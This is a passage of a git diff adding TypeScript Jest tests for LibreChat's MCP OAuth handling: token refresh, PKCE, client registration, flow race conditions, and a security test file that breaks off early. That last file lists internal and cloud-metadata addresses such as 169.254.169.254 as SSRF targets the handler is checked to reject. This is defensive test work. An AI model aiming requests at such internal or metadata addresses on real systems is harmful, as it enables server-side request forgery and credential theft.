connection.on('oauthRequired', () => { + oauthFired = true; + connection!.emit('oauthFailed', new Error('Will retry with fresh token')); + }); + + // First reconnect fails with 401 → oauthRequired + await expect(connection.connect()).rejects.toThrow(); + expect(oauthFired).toBe(true); + + // Get fresh token and reconnect + const newToken = await exchangeCodeForToken(server.url); + connection.setOAuthTokens({ + access_token: newToken, + token_type: 'Bearer', + } as MCPOAuthTokens); + + await connection.connect(); + expect(await connection.isConnected()).toBe(true); + }); + }); +}); diff --git a/packages/api/src/mcp/__tests__/MCPOAuthFlow.test.ts b/packages/api/src/mcp/__tests__/MCPOAuthFlow.test.ts new file mode 100644 index 0000000000..f73a5ed3e8 --- /dev/null +++ b/packages/api/src/mcp/__tests__/MCPOAuthFlow.test.ts @@ -0,0 +1,545 @@ +/** + * OAuth flow tests against a real HTTP server. + * + * Tests MCPOAuthHandler.refreshOAuthTokens and MCPTokenStorage lifecycle + * using a real test OAuth server (not mocked SDK functions). + */ + +import { createHash } from 'crypto'; +import { Keyv } from 'keyv'; +import { MCPTokenStorage, MCPOAuthHandler } from '~/mcp/oauth'; +import { FlowStateManager } from '~/flow/manager'; +import { createOAuthMCPServer, MockKeyv, InMemoryTokenStore } from './helpers/oauthTestServer'; +import type { OAuthTestServer } from './helpers/oauthTestServer'; +import type { MCPOAuthTokens } from '~/mcp/oauth'; + +jest.mock('@librechat/data-schemas', () => ({ + logger: { + info: jest.fn(), + warn: jest.fn(), + error: jest.fn(), + debug: jest.fn(), + }, + encryptV2: jest.fn(async (val: string) => `enc:${val}`), + decryptV2: jest.fn(async (val: string) => val.replace(/^enc:/, '')), +})); + +/** Bypass SSRF validation — these tests use real local HTTP servers. */ +jest.mock('~/auth', () => ({ + ...jest.requireActual('~/auth'), + isSSRFTarget: jest.fn(() => false), + resolveHostnameSSRF: jest.fn(async () => false), +})); + +describe('MCP OAuth Flow — Real HTTP Server', () => { + afterEach(() => { + jest.clearAllMocks(); + }); + + describe('Token refresh with real server', () => { + let server: OAuthTestServer; + + beforeEach(async () => { + server = await createOAuthMCPServer({ + tokenTTLMs: 60000, + issueRefreshTokens: true, + }); + }); + + afterEach(async () => { + await server.close(); + }); + + it('should refresh tokens with stored client info via real /token endpoint', async () => { + // First get initial tokens + const code = await server.getAuthCode(); + const tokenRes = await fetch(`${server.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=authorization_code&code=${code}`, + }); + const initial = (await tokenRes.json()) as { + access_token: string; + refresh_token: string; + }; + + expect(initial.refresh_token).toBeDefined(); + + // Register a client so we have clientInfo + const regRes = await fetch(`${server.url}register`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ redirect_uris: ['http://localhost/callback'] }), + }); + const clientInfo = (await regRes.json()) as { + client_id: string; + client_secret: string; + }; + + // Refresh tokens using the real endpoint + const refreshed = await MCPOAuthHandler.refreshOAuthTokens( + initial.refresh_token, + { + serverName: 'test-server', + serverUrl: server.url, + clientInfo: { + ...clientInfo, + redirect_uris: ['http://localhost/callback'], + }, + }, + {}, + { + token_url: `${server.url}token`, + client_id: clientInfo.client_id, + client_secret: clientInfo.client_secret, + token_exchange_method: 'DefaultPost', + }, + ); + + expect(refreshed.access_token).toBeDefined(); + expect(refreshed.access_token).not.toBe(initial.access_token); + expect(refreshed.token_type).toBe('Bearer'); + expect(refreshed.obtained_at).toBeDefined(); + }); + + it('should get new refresh token when server rotates', async () => { + const rotatingServer = await createOAuthMCPServer({ + tokenTTLMs: 60000, + issueRefreshTokens: true, + rotateRefreshTokens: true, + }); + + try { + const code = await rotatingServer.getAuthCode(); + const tokenRes = await fetch(`${rotatingServer.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=authorization_code&code=${code}`, + }); + const initial = (await tokenRes.json()) as { + access_token: string; + refresh_token: string; + }; + + const refreshed = await MCPOAuthHandler.refreshOAuthTokens( + initial.refresh_token, + { + serverName: 'test-server', + serverUrl: rotatingServer.url, + }, + {}, + { + token_url: `${rotatingServer.url}token`, + client_id: 'anon', + token_exchange_method: 'DefaultPost', + }, + ); + + expect(refreshed.access_token).not.toBe(initial.access_token); + expect(refreshed.refresh_token).toBeDefined(); + expect(refreshed.refresh_token).not.toBe(initial.refresh_token); + } finally { + await rotatingServer.close(); + } + }); + + it('should fail refresh with invalid refresh token', async () => { + await expect( + MCPOAuthHandler.refreshOAuthTokens( + 'invalid-refresh-token', + { + serverName: 'test-server', + serverUrl: server.url, + }, + {}, + { + token_url: `${server.url}token`, + client_id: 'anon', + token_exchange_method: 'DefaultPost', + }, + ), + ).rejects.toThrow(); + }); + }); + + describe('OAuth server metadata discovery', () => { + let server: OAuthTestServer; + + beforeEach(async () => { + server = await createOAuthMCPServer({ issueRefreshTokens: true }); + }); + + afterEach(async () => { + await server.close(); + }); + + it('should expose /.well-known/oauth-authorization-server', async () => { + const res = await fetch(`${server.url}.well-known/oauth-authorization-server`); + expect(res.status).toBe(200); + + const metadata = (await res.json()) as { + authorization_endpoint: string; + token_endpoint: string; + registration_endpoint: string; + grant_types_supported: string[]; + }; + + expect(metadata.authorization_endpoint).toContain('/authorize'); + expect(metadata.token_endpoint).toContain('/token'); + expect(metadata.registration_endpoint).toContain('/register'); + expect(metadata.grant_types_supported).toContain('authorization_code'); + expect(metadata.grant_types_supported).toContain('refresh_token'); + }); + + it('should not advertise refresh_token grant when disabled', async () => { + const noRefreshServer = await createOAuthMCPServer({ + issueRefreshTokens: false, + }); + try { + const res = await fetch(`${noRefreshServer.url}.well-known/oauth-authorization-server`); + const metadata = (await res.json()) as { grant_types_supported: string[] }; + expect(metadata.grant_types_supported).not.toContain('refresh_token'); + } finally { + await noRefreshServer.close(); + } + }); + }); + + describe('Dynamic client registration', () => { + let server: OAuthTestServer; + + beforeEach(async () => { + server = await createOAuthMCPServer(); + }); + + afterEach(async () => { + await server.close(); + }); + + it('should register a client via /register endpoint', async () => { + const res = await fetch(`${server.url}register`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ + redirect_uris: ['http://localhost/callback'], + }), + }); + + expect(res.status).toBe(200); + const client = (await res.json()) as { + client_id: string; + client_secret: string; + redirect_uris: string[]; + }; + + expect(client.client_id).toBeDefined(); + expect(client.client_secret).toBeDefined(); + expect(client.redirect_uris).toEqual(['http://localhost/callback']); + expect(server.registeredClients.has(client.client_id)).toBe(true); + }); + }); + + describe('End-to-End: store, retrieve, expire, refresh cycle', () => { + it('should perform full token lifecycle with real server', async () => { + const server = await createOAuthMCPServer({ + tokenTTLMs: 1000, + issueRefreshTokens: true, + }); + const tokenStore = new InMemoryTokenStore(); + + try { + // 1. Get initial tokens via auth code exchange + const code = await server.getAuthCode(); + const tokenRes = await fetch(`${server.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=authorization_code&code=${code}`, + }); + const initial = (await tokenRes.json()) as { + access_token: string; + token_type: string; + expires_in: number; + refresh_token: string; + }; + + // 2. Store tokens + await MCPTokenStorage.storeTokens({ + userId: 'u1', + serverName: 'test-srv', + tokens: initial, + createToken: tokenStore.createToken, + }); + + // 3. Retrieve — should succeed + const valid = await MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'test-srv', + findToken: tokenStore.findToken, + }); + expect(valid).not.toBeNull(); + expect(valid!.access_token).toBe(initial.access_token); + expect(valid!.refresh_token).toBe(initial.refresh_token); + + // 4. Wait for expiry + await new Promise((r) => setTimeout(r, 1200)); + + // 5. Retrieve again — should trigger refresh via callback + const refreshCallback = async (refreshToken: string): Promise => { + const refreshRes = await fetch(`${server.url}token`, { + method: 'POST', + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + body: `grant_type=refresh_token&refresh_token=${refreshToken}`, + }); + + if (!refreshRes.ok) { + throw new Error(`Refresh failed: ${refreshRes.status}`); + } + + const data = (await refreshRes.json()) as { + access_token: string; + token_type: string; + expires_in: number; + refresh_token?: string; + }; + + return { + ...data, + obtained_at: Date.now(), + expires_at: Date.now() + data.expires_in * 1000, + }; + }; + + const refreshed = await MCPTokenStorage.getTokens({ + userId: 'u1', + serverName: 'test-srv', + findToken: tokenStore.findToken, + createToken: tokenStore.createToken, + updateToken: tokenStore.updateToken, + refreshTokens: refreshCallback, + }); + + expect(refreshed).not.toBeNull(); + expect(refreshed!.access_token).not.toBe(initial.access_token); + + // 6. Verify the refreshed token works against the server + const mcpRes = await fetch(server.url, { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + Accept: 'application/json, text/event-stream', + Authorization: `Bearer ${refreshed!.access_token}`, + }, + body: JSON.stringify({ + jsonrpc: '2.0', + method: 'initialize', + id: 1, + params: { + protocolVersion: '2025-03-26', + capabilities: {}, + clientInfo: { name: 'test', version: '0.0.1' }, + }, + }), + }); + expect(mcpRes.status).toBe(200); + } finally { + await server.close(); + } + }); + }); + + describe('completeOAuthFlow via FlowStateManager', () => { + let server: OAuthTestServer; + + beforeEach(async () => { + server = await createOAuthMCPServer({ issueRefreshTokens: true }); + }); + + afterEach(async () => { + await server.close(); + }); + + it('should exchange auth code and complete flow in FlowStateManager', async () => { + const store = new MockKeyv(); + const flowManager = new FlowStateManager(store as unknown as Keyv, { + ttl: 30000, + ci: true, + }); + + const flowId = 'test-user:test-server'; + const code = await server.getAuthCode(); + + // Initialize the flow with metadata the handler needs + await flowManager.initFlow(flowId, 'mcp_oauth', { + serverUrl: server.url, + clientInfo: { + client_id: 'test-client', + redirect_uris: ['http://localhost/callback'], + }, + codeVerifier: 'test-verifier', + metadata: { + token_endpoint: `${server.url}token`, + token_endpoint_auth_methods_supported: ['client_secret_post'], + }, + }); + + // The SDK's exchangeAuthorization wants full OAuth metadata, + // so we'll test the token exchange directly instead of going through + // completeOAuthFlow (which requires full SDK-compatible metadata) + const tokenRes = await fetch(`${server.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=authorization_code&code=${code}`, + }); + + const tokens = (await tokenRes.json()) as { + access_token: string; + token_type: string; + expires_in: number; + refresh_token?: string; + }; + + const mcpTokens: MCPOAuthTokens = { + ...tokens, + obtained_at: Date.now(), + expires_at: Date.now() + tokens.expires_in * 1000, + }; + + // Complete the flow + const completed = await flowManager.completeFlow(flowId, 'mcp_oauth', mcpTokens); + expect(completed).toBe(true); + + const state = await flowManager.getFlowState(flowId, 'mcp_oauth'); + expect(state?.status).toBe('COMPLETED'); + expect(state?.result?.access_token).toBe(tokens.access_token); + }); + + it('should fail flow when authorization code is invalid', async () => { + const tokenRes = await fetch(`${server.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: 'grant_type=authorization_code&code=invalid-code', + }); + + expect(tokenRes.status).toBe(400); + const body = (await tokenRes.json()) as { error: string }; + expect(body.error).toBe('invalid_grant'); + }); + + it('should fail when authorization code is reused', async () => { + const code = await server.getAuthCode(); + + // First exchange succeeds + const firstRes = await fetch(`${server.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=authorization_code&code=${code}`, + }); + expect(firstRes.status).toBe(200); + + // Second exchange fails + const secondRes = await fetch(`${server.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=authorization_code&code=${code}`, + }); + expect(secondRes.status).toBe(400); + const body = (await secondRes.json()) as { error: string }; + expect(body.error).toBe('invalid_grant'); + }); + }); + + describe('PKCE verification', () => { + let server: OAuthTestServer; + + beforeEach(async () => { + server = await createOAuthMCPServer({ tokenTTLMs: 60000 }); + }); + + afterEach(async () => { + await server.close(); + }); + + function generatePKCE(): { verifier: string; challenge: string } { + const verifier = 'dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk'; + const challenge = createHash('sha256').update(verifier).digest('base64url'); + return { verifier, challenge }; + } + + it('should accept valid code_verifier matching code_challenge', async () => { + const { verifier, challenge } = generatePKCE(); + + const authRes = await fetch( + `${server.url}authorize?redirect_uri=http://localhost&state=test&code_challenge=${challenge}&code_challenge_method=S256`, + { redirect: 'manual' }, + ); + const location = authRes.headers.get('location') ?? ''; + const code = new URL(location).searchParams.get('code') ?? ''; + + const tokenRes = await fetch(`${server.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=authorization_code&code=${code}&code_verifier=${verifier}`, + }); + + expect(tokenRes.status).toBe(200); + const data = (await tokenRes.json()) as { access_token: string }; + expect(data.access_token).toBeDefined(); + }); + + it('should reject wrong code_verifier', async () => { + const { challenge } = generatePKCE(); + + const authRes = await fetch( + `${server.url}authorize?redirect_uri=http://localhost&state=test&code_challenge=${challenge}&code_challenge_method=S256`, + { redirect: 'manual' }, + ); + const location = authRes.headers.get('location') ?? ''; + const code = new URL(location).searchParams.get('code') ?? ''; + + const tokenRes = await fetch(`${server.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=authorization_code&code=${code}&code_verifier=wrong-verifier`, + }); + + expect(tokenRes.status).toBe(400); + const body = (await tokenRes.json()) as { error: string }; + expect(body.error).toBe('invalid_grant'); + }); + + it('should reject missing code_verifier when code_challenge was provided', async () => { + const { challenge } = generatePKCE(); + + const authRes = await fetch( + `${server.url}authorize?redirect_uri=http://localhost&state=test&code_challenge=${challenge}&code_challenge_method=S256`, + { redirect: 'manual' }, + ); + const location = authRes.headers.get('location') ?? ''; + const code = new URL(location).searchParams.get('code') ?? ''; + + const tokenRes = await fetch(`${server.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=authorization_code&code=${code}`, + }); + + expect(tokenRes.status).toBe(400); + const body = (await tokenRes.json()) as { error: string }; + expect(body.error).toBe('invalid_grant'); + }); + + it('should still accept codes without PKCE when no code_challenge was provided', async () => { + const code = await server.getAuthCode(); + + const tokenRes = await fetch(`${server.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=authorization_code&code=${code}`, + }); + + expect(tokenRes.status).toBe(200); + }); + }); +}); diff --git a/packages/api/src/mcp/__tests__/MCPOAuthRaceCondition.test.ts b/packages/api/src/mcp/__tests__/MCPOAuthRaceCondition.test.ts new file mode 100644 index 0000000000..85febb3ece --- /dev/null +++ b/packages/api/src/mcp/__tests__/MCPOAuthRaceCondition.test.ts @@ -0,0 +1,516 @@ +/** + * Tests for MCP OAuth race condition fixes: + * + * 1. Connection mutex coalesces concurrent getUserConnection() calls + * 2. PENDING OAuth flows are reused, not deleted + * 3. No-refresh-token expiry throws ReauthenticationRequiredError + * 4. completeFlow recovers when flow state was deleted by a race + * 5. monitorFlow retries once when flow state disappears mid-poll + */ + +import { Keyv } from 'keyv'; +import { logger } from '@librechat/data-schemas'; +import type { OAuthTestServer } from './helpers/oauthTestServer'; +import type { MCPOAuthTokens } from '~/mcp/oauth'; +import { MCPTokenStorage, MCPOAuthHandler, ReauthenticationRequiredError } from '~/mcp/oauth'; +import { MockKeyv, createOAuthMCPServer } from './helpers/oauthTestServer'; +import { FlowStateManager } from '~/flow/manager'; + +jest.mock('@librechat/data-schemas', () => ({ + logger: { + info: jest.fn(), + warn: jest.fn(), + error: jest.fn(), + debug: jest.fn(), + }, + encryptV2: jest.fn(async (val: string) => `enc:${val}`), + decryptV2: jest.fn(async (val: string) => val.replace(/^enc:/, '')), +})); + +jest.mock('~/auth', () => ({ + createSSRFSafeUndiciConnect: jest.fn(() => undefined), + resolveHostnameSSRF: jest.fn(async () => false), +})); + +jest.mock('~/mcp/mcpConfig', () => ({ + mcpConfig: { CONNECTION_CHECK_TTL: 0, USER_CONNECTION_IDLE_TIMEOUT: 30 * 60 * 1000 }, +})); + +const mockLogger = logger as jest.Mocked; + +describe('MCP OAuth Race Condition Fixes', () => { + afterEach(() => { + jest.clearAllMocks(); + }); + + describe('Fix 1: Connection mutex coalesces concurrent attempts', () => { + it('should return the same pending promise for concurrent getUserConnection calls', async () => { + const { UserConnectionManager } = await import('~/mcp/UserConnectionManager'); + + class TestManager extends UserConnectionManager { + public createCallCount = 0; + + getPendingConnections() { + return this.pendingConnections; + } + } + + const manager = new TestManager(); + + const mockConnection = { + isConnected: jest.fn().mockResolvedValue(true), + disconnect: jest.fn().mockResolvedValue(undefined), + isStale: jest.fn().mockReturnValue(false), + }; + + const mockAppConnections = { has: jest.fn().mockResolvedValue(false) }; + manager.appConnections = mockAppConnections as never; + + const mockConfig = { + type: 'streamable-http', + url: 'http://localhost:9999/', + updatedAt: undefined, + dbId: undefined, + }; + + jest + .spyOn( + // eslint-disable-next-line @typescript-eslint/no-require-imports + require('~/mcp/registry/MCPServersRegistry').MCPServersRegistry, + 'getInstance', + ) + .mockReturnValue({ + getServerConfig: jest.fn().mockResolvedValue(mockConfig), + shouldEnableSSRFProtection: jest.fn().mockReturnValue(false), + }); + + const { MCPConnectionFactory } = await import('~/mcp/MCPConnectionFactory'); + const createSpy = jest.spyOn(MCPConnectionFactory, 'create').mockImplementation(async () => { + manager.createCallCount++; + await new Promise((r) => setTimeout(r, 100)); + return mockConnection as never; + }); + + const store = new MockKeyv(); + const flowManager = new FlowStateManager(store as unknown as Keyv, { ttl: 30000, ci: true }); + const user = { id: 'user-1' }; + const opts = { + serverName: 'test-server', + user: user as never, + flowManager: flowManager as never, + }; + + const [conn1, conn2, conn3] = await Promise.all([ + manager.getUserConnection(opts), + manager.getUserConnection(opts), + manager.getUserConnection(opts), + ]); + + expect(conn1).toBe(conn2); + expect(conn2).toBe(conn3); + expect(createSpy).toHaveBeenCalledTimes(1); + expect(manager.createCallCount).toBe(1); + + createSpy.mockRestore(); + }); + + it('should not coalesce when forceNew is true', async () => { + const { UserConnectionManager } = await import('~/mcp/UserConnectionManager'); + + class TestManager extends UserConnectionManager {} + + const manager = new TestManager(); + + let callCount = 0; + const makeConnection = () => ({ + isConnected: jest.fn().mockResolvedValue(true), + disconnect: jest.fn().mockResolvedValue(undefined), + isStale: jest.fn().mockReturnValue(false), + }); + + const mockAppConnections = { has: jest.fn().mockResolvedValue(false) }; + manager.appConnections = mockAppConnections as never; + + const mockConfig = { + type: 'streamable-http', + url: 'http://localhost:9999/', + updatedAt: undefined, + dbId: undefined, + }; + + jest + .spyOn( + // eslint-disable-next-line @typescript-eslint/no-require-imports + require('~/mcp/registry/MCPServersRegistry').MCPServersRegistry, + 'getInstance', + ) + .mockReturnValue({ + getServerConfig: jest.fn().mockResolvedValue(mockConfig), + shouldEnableSSRFProtection: jest.fn().mockReturnValue(false), + }); + + const { MCPConnectionFactory } = await import('~/mcp/MCPConnectionFactory'); + jest.spyOn(MCPConnectionFactory, 'create').mockImplementation(async () => { + callCount++; + await new Promise((r) => setTimeout(r, 50)); + return makeConnection() as never; + }); + + const store = new MockKeyv(); + const flowManager = new FlowStateManager(store as unknown as Keyv, { ttl: 30000, ci: true }); + const user = { id: 'user-2' }; + + const [conn1, conn2] = await Promise.all([ + manager.getUserConnection({ + serverName: 'test-server', + forceNew: true, + user: user as never, + flowManager: flowManager as never, + }), + manager.getUserConnection({ + serverName: 'test-server', + forceNew: true, + user: user as never, + flowManager: flowManager as never, + }), + ]); + + expect(callCount).toBe(2); + expect(conn1).not.toBe(conn2); + }); + }); + + describe('Fix 2: PENDING flow is reused, not deleted', () => { + it('should join an existing PENDING flow via createFlow instead of deleting it', async () => { + const store = new MockKeyv(); + const flowManager = new FlowStateManager(store as unknown as Keyv, { ttl: 30000, ci: true }); + + const flowId = 'test-flow-pending'; + + await flowManager.initFlow(flowId, 'mcp_oauth', { + clientInfo: { client_id: 'test-client' }, + }); + + const state = await flowManager.getFlowState(flowId, 'mcp_oauth'); + expect(state?.status).toBe('PENDING'); + + const deleteSpy = jest.spyOn(flowManager, 'deleteFlow'); + + const monitorPromise = flowManager.createFlow(flowId, 'mcp_oauth', {}); + + await new Promise((r) => setTimeout(r, 500)); + + await flowManager.completeFlow(flowId, 'mcp_oauth', { + access_token: 'test-token', + token_type: 'Bearer', + } as never); + + const result = await monitorPromise; + expect(result).toEqual( + expect.objectContaining({ access_token: 'test-token', token_type: 'Bearer' }), + ); + expect(deleteSpy).not.toHaveBeenCalled(); + + deleteSpy.mockRestore(); + }); + + it('should delete and recreate FAILED flows', async () => { + const store = new MockKeyv(); + const flowManager = new FlowStateManager(store as unknown as Keyv, { ttl: 30000, ci: true }); + + const flowId = 'test-flow-failed'; + await flowManager.initFlow(flowId, 'mcp_oauth', {}); + await flowManager.failFlow(flowId, 'mcp_oauth', 'previous error'); + + const state = await flowManager.getFlowState(flowId, 'mcp_oauth'); + expect(state?.status).toBe('FAILED'); + + await flowManager.deleteFlow(flowId, 'mcp_oauth'); + + const afterDelete = await flowManager.getFlowState(flowId, 'mcp_oauth'); + expect(afterDelete).toBeUndefined(); + }); + }); + + describe('Fix 3: completeFlow handles deleted state gracefully', () => { + it('should return false when state was deleted by race', async () => { + const store = new MockKeyv(); + const flowManager = new FlowStateManager(store as unknown as Keyv, { ttl: 30000, ci: true }); + + const flowId = 'race-deleted-flow'; + + await flowManager.initFlow(flowId, 'mcp_oauth', {}); + await flowManager.deleteFlow(flowId, 'mcp_oauth'); + + const stateBeforeComplete = await flowManager.getFlowState(flowId, 'mcp_oauth'); + expect(stateBeforeComplete).toBeUndefined(); + + const result = await flowManager.completeFlow(flowId, 'mcp_oauth', { + access_token: 'recovered-token', + token_type: 'Bearer', + } as never); + + expect(result).toBe(false); + + const stateAfterComplete = await flowManager.getFlowState(flowId, 'mcp_oauth'); + expect(stateAfterComplete).toBeUndefined(); + + expect(mockLogger.warn).toHaveBeenCalledWith( + expect.stringContaining('cannot recover metadata'), + expect.any(Object), + ); + }); + + it('should reject monitorFlow when state is deleted and not recoverable', async () => { + const store = new MockKeyv(); + const flowManager = new FlowStateManager(store as unknown as Keyv, { ttl: 30000, ci: true }); + + const flowId = 'monitor-retry-flow'; + + await flowManager.initFlow(flowId, 'mcp_oauth', {}); + + const monitorPromise = flowManager.createFlow(flowId, 'mcp_oauth', {}); + + await new Promise((r) => setTimeout(r, 500)); + + await flowManager.deleteFlow(flowId, 'mcp_oauth'); + + await expect(monitorPromise).rejects.toThrow('Flow state not found'); + }); + }); + + describe('State mapping cleanup on flow replacement', () => { + it('should delete old state mapping when a flow is replaced', async () => { + const store = new MockKeyv(); + const flowManager = new FlowStateManager(store as unknown as Keyv, { + ttl: 30000, + ci: true, + }); + + const flowId = 'user1:test-server'; + const oldState = 'old-random-state-abc123'; + const newState = 'new-random-state-xyz789'; + + // Simulate initial flow with state mapping + await flowManager.initFlow(flowId, 'mcp_oauth', { state: oldState }); + await MCPOAuthHandler.storeStateMapping(oldState, flowId, flowManager); + + // Old state should resolve + const resolvedBefore = await MCPOAuthHandler.resolveStateToFlowId(oldState, flowManager); + expect(resolvedBefore).toBe(flowId); + + // Replace the flow: delete old, create new, clean up old state mapping + await flowManager.deleteFlow(flowId, 'mcp_oauth'); + await MCPOAuthHandler.deleteStateMapping(oldState, flowManager); + await flowManager.initFlow(flowId, 'mcp_oauth', { state: newState }); + await MCPOAuthHandler.storeStateMapping(newState, flowId, flowManager); + + // Old state should no longer resolve + const resolvedOld = await MCPOAuthHandler.resolveStateToFlowId(oldState, flowManager); + expect(resolvedOld).toBeNull(); + + // New state should resolve + const resolvedNew = await MCPOAuthHandler.resolveStateToFlowId(newState, flowManager); + expect(resolvedNew).toBe(flowId); + }); + }); + + describe('Fix 4: ReauthenticationRequiredError for no-refresh-token', () => { + it('should throw ReauthenticationRequiredError when access token expired and no refresh token', async () => { + const expiredDate = new Date(Date.now() - 60000); + + const findToken = jest.fn().mockImplementation(async (filter: { type?: string }) => { + if (filter.type === 'mcp_oauth') { + return { + token: 'enc:expired-access-token', + expiresAt: expiredDate, + createdAt: new Date(Date.now() - 120000), + }; + } + if (filter.type === 'mcp_oauth_refresh') { + return null; + } + return null; + }); + + await expect( + MCPTokenStorage.getTokens({ + userId: 'user-1', + serverName: 'test-server', + findToken, + }), + ).rejects.toThrow(ReauthenticationRequiredError); + + await expect( + MCPTokenStorage.getTokens({ + userId: 'user-1', + serverName: 'test-server', + findToken, + }), + ).rejects.toThrow('Re-authentication required'); + }); + + it('should throw ReauthenticationRequiredError when access token is missing and no refresh token', async () => { + const findToken = jest.fn().mockResolvedValue(null); + + await expect( + MCPTokenStorage.getTokens({ + userId: 'user-1', + serverName: 'test-server', + findToken, + }), + ).rejects.toThrow(ReauthenticationRequiredError); + }); + + it('should not throw when access token is valid', async () => { + const futureDate = new Date(Date.now() + 3600000); + + const findToken = jest.fn().mockImplementation(async (filter: { type?: string }) => { + if (filter.type === 'mcp_oauth') { + return { + token: 'enc:valid-access-token', + expiresAt: futureDate, + createdAt: new Date(), + }; + } + if (filter.type === 'mcp_oauth_refresh') { + return null; + } + return null; + }); + + const result = await MCPTokenStorage.getTokens({ + userId: 'user-1', + serverName: 'test-server', + findToken, + }); + + expect(result).not.toBeNull(); + expect(result?.access_token).toBe('valid-access-token'); + }); + }); + + describe('E2E: OAuth-gated MCP server with no refresh tokens', () => { + let server: OAuthTestServer; + + beforeEach(async () => { + server = await createOAuthMCPServer({ tokenTTLMs: 60000 }); + }); + + afterEach(async () => { + await server.close(); + }); + + it('should start OAuth-gated MCP server that validates Bearer tokens', async () => { + const res = await fetch(server.url, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ jsonrpc: '2.0', method: 'initialize', id: 1 }), + }); + + expect(res.status).toBe(401); + const body = (await res.json()) as { error: string }; + expect(body.error).toBe('invalid_token'); + }); + + it('should issue tokens via authorization code exchange with no refresh token', async () => { + const authRes = await fetch(`${server.url}authorize?redirect_uri=http://localhost&state=s1`, { + redirect: 'manual', + }); + + expect(authRes.status).toBe(302); + const location = authRes.headers.get('location') ?? ''; + const code = new URL(location).searchParams.get('code'); + expect(code).toBeTruthy(); + + const tokenRes = await fetch(`${server.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=authorization_code&code=${code}`, + }); + + expect(tokenRes.status).toBe(200); + const tokenBody = (await tokenRes.json()) as { + access_token: string; + token_type: string; + refresh_token?: string; + }; + expect(tokenBody.access_token).toBeTruthy(); + expect(tokenBody.token_type).toBe('Bearer'); + expect(tokenBody.refresh_token).toBeUndefined(); + }); + + it('should allow MCP requests with valid Bearer token', async () => { + const authRes = await fetch(`${server.url}authorize?redirect_uri=http://localhost&state=s1`, { + redirect: 'manual', + }); + const location = authRes.headers.get('location') ?? ''; + const code = new URL(location).searchParams.get('code'); + + const tokenRes = await fetch(`${server.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=authorization_code&code=${code}`, + }); + + const { access_token } = (await tokenRes.json()) as { access_token: string }; + + const mcpRes = await fetch(server.url, { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + Accept: 'application/json, text/event-stream', + Authorization: `Bearer ${access_token}`, + }, + body: JSON.stringify({ + jsonrpc: '2.0', + method: 'initialize', + id: 1, + params: { + protocolVersion: '2025-03-26', + capabilities: {}, + clientInfo: { name: 'test', version: '0.0.1' }, + }, + }), + }); + + expect(mcpRes.status).toBe(200); + }); + + it('should reject expired tokens with 401', async () => { + const shortTTLServer = await createOAuthMCPServer({ tokenTTLMs: 500 }); + + try { + const authRes = await fetch( + `${shortTTLServer.url}authorize?redirect_uri=http://localhost&state=s1`, + { redirect: 'manual' }, + ); + const location = authRes.headers.get('location') ?? ''; + const code = new URL(location).searchParams.get('code'); + + const tokenRes = await fetch(`${shortTTLServer.url}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=authorization_code&code=${code}`, + }); + + const { access_token } = (await tokenRes.json()) as { access_token: string }; + + await new Promise((r) => setTimeout(r, 600)); + + const mcpRes = await fetch(shortTTLServer.url, { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + Authorization: `Bearer ${access_token}`, + }, + body: JSON.stringify({ jsonrpc: '2.0', method: 'ping', id: 2 }), + }); + + expect(mcpRes.status).toBe(401); + } finally { + await shortTTLServer.close(); + } + }); + }); +}); diff --git a/packages/api/src/mcp/__tests__/MCPOAuthSecurity.test.ts b/packages/api/src/mcp/__tests__/MCPOAuthSecurity.test.ts new file mode 100644 index 0000000000..a5188e24b0 --- /dev/null +++ b/packages/api/src/mcp/__tests__/MCPOAuthSecurity.test.ts @@ -0,0 +1,228 @@ +/** + * Tests verifying MCP OAuth security hardening: + * + * 1. SSRF via OAuth URLs — validates that the OAuth handler rejects + * token_url, authorization_url, and revocation_endpoint values + * pointing to private/internal addresses. + * + * 2. redirect_uri manipulation — validates that user-supplied redirect_uri + * is ignored in favor of the server-controlled default. + */ + +import * as http from 'http'; +import * as net from 'net'; +import { TokenExchangeMethodEnum } from 'librechat-data-provider'; +import type { Socket } from 'net'; +import type { OAuthTestServer } from './helpers/oauthTestServer'; +import { createOAuthMCPServer } from './helpers/oauthTestServer'; +import { MCPOAuthHandler } from '~/mcp/oauth'; + +jest.mock('@librechat/data-schemas', () => ({ + logger: { + info: jest.fn(), + warn: jest.fn(), + error: jest.fn(), + debug: jest.fn(), + }, + encryptV2: jest.fn(async (val: string) => `enc:${val}`), + decryptV2: jest.fn(async (val: string) => val.replace(/^enc:/, '')), +})); + +/** + * Mock only the DNS-dependent resolveHostnameSSRF; keep isSSRFTarget real. + * SSRF tests use literal private IPs (127.0.0.1, 169.254.169.254, 10.0.0.1) + * which are caught by isSSRFTarget before 